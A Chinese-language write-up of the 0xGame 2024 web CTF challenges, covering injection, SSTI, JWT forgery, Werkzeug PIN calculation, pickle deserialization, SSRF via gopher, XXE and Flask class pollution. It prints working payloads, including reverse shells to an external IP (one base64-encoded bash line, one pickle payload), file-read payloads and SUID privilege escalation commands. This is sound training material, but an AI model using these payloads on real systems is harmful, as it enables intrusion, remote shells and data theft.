2024

ez_login

弱口令直接爆破即可,admin/admin123

image-202507141949139740xGame{It_Is_Easy_Right?}

ez_rce

from flask import Flask, request
import subprocess

app = Flask(__name__)


@app.route("/")
def index():
return open(__file__).read()


@app.route("/calc", methods=['POST'])
def calculator():
expression = request.form.get('expression') or "114 1000 * 514 + p"
result = subprocess.run(["dc", "-e", expression], capture_output=True, text=True)
return result.stdout


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)

dc命令在系统指令前加!即可正常执行

expression=!env

0xGame{Do_You_Know_gtfobins?Try_To_Use_It!}

ez_sql

语句信息都给出来了,显然是从id进行注入,直接开测,需要注意的是从database()开始也会报错,就说明可能不是MySQL数据库,这里使用的是sqlite数据库

id=1 order by 5#
id=0 union select 1,2,3,4,5#
id=0 union select 1,(sqlite_version()),3,4,5# //3.40.1
id=0 union select 1,group_concat(sql),3,4,5 from sqlite_master# //CREATE TABLE "flag" ( "flag" TEXT )
id=0 union select 1,flag,3,4,5 from flag#

0xGame{Do_not_Use_SqlMap!_Try_it_By_Your_Self}

ez_ssti

from flask import Flask, request, render_template, render_template_string
import os
app = Flask(__name__)

flag=os.getenv("flag")
os.unsetenv("flag")
@app.route('/')
def index():
return open(__file__, "r").read()


@app.errorhandler(404)
def page_not_found(e):
print(request.root_url)
return render_template_string("<h1>The Url {} You Requested Can Not Found</h1>".format(request.url))


if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)

直接在网址后面用{{}}就可以正常ssti,注意这里会将环境变量中flag删掉,但是不会删掉flag这个变量,在sys模块中拿到__main__就能找到flag

{{lipsum.__globals__['__builtins__']["__import__"]('sys').modules['__main__'].flag}}

image-20250714202912503

0xGame{Do_You_Want_To_Be_A_SSTI_Master?}

hello_http

抓包分别修改即可

User-Agent: x1cBrowser
GET:hello=world
Cookie: flag=secret
referer:http://localhost:8080/
X-Forwarded-For:127.0.0.1

0xgame{1cd6a904-725f-11ef-aafb-d4d8533ec05c}

hello_include

提示源代码有着不能泄露的重要信息,php文件源码就是在文件后缀php后面加上s,访问index.phps获得源码如下

<?php
echo "Hint: The source code contains important information that must not be disclosed.<br>";
$allowed = ['hello.php', 'phpinfo.php'];
if (isset($_POST['f1Ie'])) {
if (strpos($_POST['f1Ie'], 'php://') !== false) {
die('不允许php://');
}
include $_POST['f1Ie'];
} else {
include 'hello.php';
}

扫个目录,发现/phpinfo.php,在里面找到flag路径为/s3cr3t/f14g

image-20250714203748228

那么直接文件包含就行

POST:f1Ie=/s3cr3t/f14g

image-20250714204452853

0xgame{4fdbe53f-53c0-4b04-966a-13fd3c9b9f2e}

hello_shell

<?php
highlight_file(__FILE__);
$cmd = $_REQUEST['cmd'] ?? 'ls';
if (strpos($cmd, ' ') !== false) {
echo strpos($cmd, ' ');
die('no space allowed');
}
@exec($cmd); // 没有回显怎么办?

可以直接写入文件,也可以外带,这里两个都打一下

cmd=echo%09`cat%09/flag`>1.php

访问1.php实现命令执行,但是直接写入似乎不行,读不到文件,那么猜测是需要提权,那就反弹shell试试,注意base64中不能有+

cmd=bash%09-c%09'{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8zOC41NS45OS4xODYvMTIyMyAwPiYx}|{base64,-d}|{bash,-i}'

image-20250714210436966

用这个命令查找可提权方法

find / -user root -perm -4000 -print 2>/dev/null

image-20250714210627219

加上当前目录下有wc,猜测wc提权

./wc --files0-from "$LFILE"     //--files0-from用于从指定文件(或标准输入)读取文件名列表(以 \0 分隔),然后统计这些文件的内容

image-20250714211248339

0xgame{0b0bb1a4-709d-41cd-9294-e70aa3510151}

hello_web

源码找到第一段0xGame{ee7f2040-1987-4e0a,提示访问f14g.php,访问需要查看响应包,找到第二段-872d-68589c4ab3d3}

0xGame{ee7f2040-1987-4e0a-872d-68589c4ab3d3}

hello_jwt

import flask
from flask import *
import os
import jwt
from key import KEY, FLAG

users = {}
app = flask.Flask(__name__)


@app.route("/")
def index():
file_path = os.path.abspath(__file__)
with open(file_path, "r", encoding="utf-8") as file:
code = file.read()
return render_template("index.html", code=code)


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
role = "guest"
if username in users:
return "User already exists"
users[username] = {"password": password, "role": role}
return redirect(url_for("login"), code=302)
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if username not in users:
return "User does not exist"
if users[username]["password"] != password:
return "Invalid password"
payload = {"username": username, "role": users[username]["role"]}
try:
token = jwt.encode(payload, KEY, algorithm="HS256")
response = make_response(redirect(url_for("flag"), code=302))
response.set_cookie("token", token)
return response
except Exception as e:
return str(e)
return render_template("login.html")


@app.route("/flag", methods=["GET"])
def flag():
token = request.cookies.get("token")
if not token:
return redirect(url_for("login"), code=302)
try:
payload = jwt.decode(token, KEY, algorithms=["HS256"])
except jwt.ExpiredSignatureError:
return "Token expired"
except jwt.InvalidTokenError:
return "Invalid token"
if payload["role"] != "admin":
return "Only admin can view the flag"
return FLAG


@app.route("/hint1", methods=["GET"])
def hint1():
token = request.cookies.get("token")
if not token:
return redirect(url_for("login"), code=302)
try:
payload = jwt.decode(
token, KEY, algorithms=["HS256"], options={"verify_signature": False}
) #注意这里通过options={"verify_signature": False}跳过验证签名,相当于无密钥
except jwt.ExpiredSignatureError:
return "Token expired"
except jwt.InvalidTokenError:
return "Invalid token"
if payload["role"] != "Please, give me the hint":
return "Beg me for the hint"
return render_template("hint1.html")


@app.route("/hint2", methods=["GET"])
def hint2():
tmp_key = (
"Very very long and include many !@#$)*$&@) so you can't crack's secret key"
)
token = request.cookies.get("token")
if not token:
return redirect(url_for("login"), code=302)
try:
payload = jwt.decode(token, tmp_key, algorithms=["HS256"]) #这里给出了需要的临时密钥
except jwt.ExpiredSignatureError:
return "Token expired"
except jwt.InvalidTokenError:
return "Invalid token"
if payload["role"] != "But, I can see the temporary key":
return "Beg me for the hint"
return render_template("hint2.html")


if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)

大概逻辑就是通过注册登录获得一个jwt后伪造先获得两个提示,最后在进行伪造jwthint1不需要密钥,hint2已知密钥

先获得一个token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEiLCJyb2xlIjoiZ3Vlc3QifQ.pOnpW6lL3rbPptxveroBZMGOWLRTGjcnmNycBLPA4kc

在线网站加密JSON Web Tokens - jwt.io

image-20250716154509048

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEiLCJyb2xlIjoiUGxlYXNlLCBnaXZlIG1lIHRoZSBoaW50In0.sA8r0F0-NbqgsWQrvFRiz9l2l2o0A6ptGPiQ32SMoyI

获得hint1

image-20250716154531085

同理获得hint2

image-20250716154638319

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEiLCJyb2xlIjoiQnV0LCBJIGNhbiBzZWUgdGhlIHRlbXBvcmFyeSBrZXkifQ.Mr7MYXZ2YvuJZY-ZvmBQLJUzawqjqY0DKn3TW7mpUFg

image-20250716154650807

那么直接爆破jwt即可,这里使用的c-jwt-cracker,安装教程快速安装 c-jwt-cracker - SXZ++ | 省锡中++

image-20250717004311660

获得keyzrajz,直接伪造访问/flag即可

image-20250717004833325

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NTI2ODQ1MDV9.-5FwgVAbsntXXT6AXOkiX-p2R-lfAmImjYPp840uq4E

image-20250717004851631

0xgame{883fa114-ebf3-4ea9-b8cd-366f3ba846e7}

baby_pe

from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
print(request.user_agent.string.lower().find("mozi"))
return open(__file__).read() #返回当前 Python 脚本的源代码


@app.route('/fileread')
def read_file():
filename = request.args.get('filename')
return open(filename).read()


if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=8000)

经典一个读文件位置,参考Polarctf靶场-flask_pin(计算PIN码),访问下发现/console就知道确实方向对了

image-20250717111128835

  • 读取/etc/passwd找到为root

    image-20250717111217726

  • modnameappname默认为flask.appFlask

  • moddir在原始界面报错可知为/usr/local/lib/python3.9/site-packages/flask/app.py

    image-20250717111259659

  • uuidnode通过filename=/sys/class/net/eth0/address读取十六进制为02:42:ac:11:00:06,转为十进制为2485377892358,这里直接通过下面计算脚本转了

    image-20250717111410484

  • machine_id分别读取

    • filename=/etc/machine-id 读取不到

    • filename=/proc/sys/kernel/random/boot_id 读取为9d9d9d39-25bb-4420-863e-53d56a06098b

      image-20250717111505320

    • filename=/proc/self/cgroup读取不到

这里是python3.9,使用sha1的脚本来计算

#计算PIN码脚本
import hashlib
from itertools import chain
probably_public_bits = [
'app',
'flask.app',
'Flask',
'/usr/local/lib/python3.9/site-packages/flask/app.py'
]

mac = '02:42:ac:11:00:06'
mac = int('0x' + mac.replace(':', ''), 16)


private_bits = [
str(mac),#str(uuid.getnode()),/sys/class/net/eth0/address
'9d9d9d39-25bb-4420-863e-53d56a06098b'# get_machine_id()
#machine_id由三个合并(docker中就后两个),1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

image-20250717113653294

访问/console输入126-700-538进入命令执行页面

import os
os.popen('ls /').read()
os.popen('tac /f*').read() //flag要root用户才可以看到,听说flask可以算pin\n
os.popen('whoami').read() //app
这里发现还是读取不了,先查找提权方法
os.popen('find / -user root -perm -4000 -print 2>/dev/null').read() //'/usr/bin/umount /usr/bin/su /usr/bin/newgrp /usr/bin/chfn /usr/bin/chsh /usr/bin/gpasswd /usr/bin/mount /usr/bin/find /usr/bin/passwd'
这里可以使用find提权(find 具有suid权限的filename -exec whoami \;),先查找flag位置
os.popen('find / -name "flag"').read() // /root/flag /flag
os.popen('find main.py -exec whoami \;').read() //root
os.popen('find main.py -exec cat /root/flag \;').read()

image-20250717114720680

0xGame{You_Are_The_Privilege_Escalation_Master!}

baby_pickle

import pickle
from flask import Flask, request
from base64 import b64decode

app = Flask(__name__)
UserPool = {}
BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']


class User:
username = None
password = None


@app.route('/')
def index():
return open(__file__).read()


@app.route('/login', methods=['POST'])
def login():
data = request.form.get('data')
if data is not None:
opcode = b64decode(data)
for word in BlackList:
if word in opcode:
return "Hacker!"
user = pickle.loads(opcode)
print(user)
return "<h1>Hello {}</h1>".format(user.username)
else:
username = request.form.get('username')
password = request.form.get('password')
if username in UserPool.keys() and password == UserPool[username].password:
return "<h1>Hello {}</h1>".format(User.username)


@app.route('/register', methods=['POST'])
def register():
username = request.form.get('username')
password = request.form.get('password')
if username in UserPool.keys():
return "<h1>用户{}已存在</h1>".format(username)
UserPool[username] = password
return "<h1>注册成功</h1>"


if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)

builtins.evel或者pty.spawn代替os.system即可,这里直接反弹shell

import pickle
import pickletools
import base64

opcode=b'''c__builtin__
eval
(S'__import__("pty").spawn([\'bash\',\'-c\',\'bash -i >& /dev/tcp/38.55.99.186/1223 0>&1\'])'
tR.
'''

pickletools.dis(opcode)
result = pickle.loads(opcode)
print(result)
print(base64.b64encode(opcode).decode())
#Y19fYnVpbHRpbl9fCmV2YWwKKFMnX19pbXBvcnRfXygicHR5Iikuc3Bhd24oWydiYXNoJywnLWMnLCdiYXNoIC1pID4mIC9kZXYvdGNwLzM4LjU1Ljk5LjE4Ni8xMjIzIDA+JjEnXSknCnRSLgo=
#Y19fYnVpbHRpbl9fCmV2YWwKKFMnX19pbXBvcnRfXygicHR5Iikuc3Bhd24oWydiYXNoJywnLWMnLCdiYXNoIC1pID4mIC9kZXYvdGNwLzM4LjU1Ljk5LjE4Ni8xMjIzIDA%2BJjEnXSknCnRSLgo%3D

image-20250721080534820

0xGame{Pickle_Unserliaze_Without_Any_Limit_Is_Not_Safe!}

baby_ssrf

from flask import Flask, request
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket

app = Flask(__name__)
BlackList=[
"127.0.0.1"
]

@app.route('/')
def index():
return open(__file__).read()


@app.route('/cmd',methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden"
if request.method == "GET":
return "Hello World!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()


@app.route('/visit')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "Hacker!"
result = subprocess.run(["curl","-L", urlunparse(url)], capture_output=True, text=True)
# print(result.stderr)
return result.stdout


if __name__ == '__main__':
app.run(host='0.0.0.0',port=8000)

/cmd可以实现执行命令,但是需要本地请求,/visit可以实现本地请求,那么用gopher伪协议本地请求即可,0.0.0.0来绕过127.0.0.1即可

先抓一个cmd执行命令的包,这里只保留必要的CL和CT头就行

image-20250721081931086

然后gopher发包就行,注意这里需要二重编码防止%出错

/visit?url=gopher://0.0.0.0:8000/_POST%2520%252Fcmd%2520HTTP%252F1.1%250AContent-Length%253A%25207%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250A%250Acmd%253Denv

image-20250721082120540

0xGame{GOPHER_PROTOCOL_HAS_MAGIC!}

baby_xxe

from flask import Flask,request
import base64
from lxml import etree
app = Flask(__name__)

@app.route('/')
def index():
return open(__file__).read()


@app.route('/parse',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "None"
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None



if __name__=="__main__":
app.run(host='0.0.0.0',port=8000)

name=root.find('name').text表示根元素里必须有name子元素,有回显且无过滤只要满足子元素是name就可以

<?xml version="1.0"?>
<!DOCTYPE test [
<!ELEMENT test ANY >

<!ENTITY a SYSTEM "file:///flag">
]>
<test><name>&a;</name></test>
xml=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C!DOCTYPE%20test%20%5B%0A%09%09%3C!ELEMENT%20test%20ANY%20%3E%0A%0A%20%20%20%20%3C!ENTITY%20a%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%3E%0A%5D%3E%0A%3Ctest%3E%3Cname%3E%26a%3B%3C%2Fname%3E%3C%2Ftest%3E

0xGame{114514_XXE_114514_XXE}

basic_flask

from flask import Flask, request
import json

app = Flask(__name__)

'''
'''
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


class Dst():
def __init__(self):
pass


dst = Dst()


@app.route('/',methods=['GET','POST'])
def index():
if request.method=='GET':
return open("main.py").read()
merge(request.get_json(), dst)
return "Success"


if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)

原型链污染,直接污染_static_folder即可

POST:{
"__class__":{
"__init__":{"__globals__":{
"app":{
"_static_folder":"../../../../../../../../"}}}}
}
GET:/static/flag

image-20250721083304473

0xGame{Try_To_Hack_Flask!}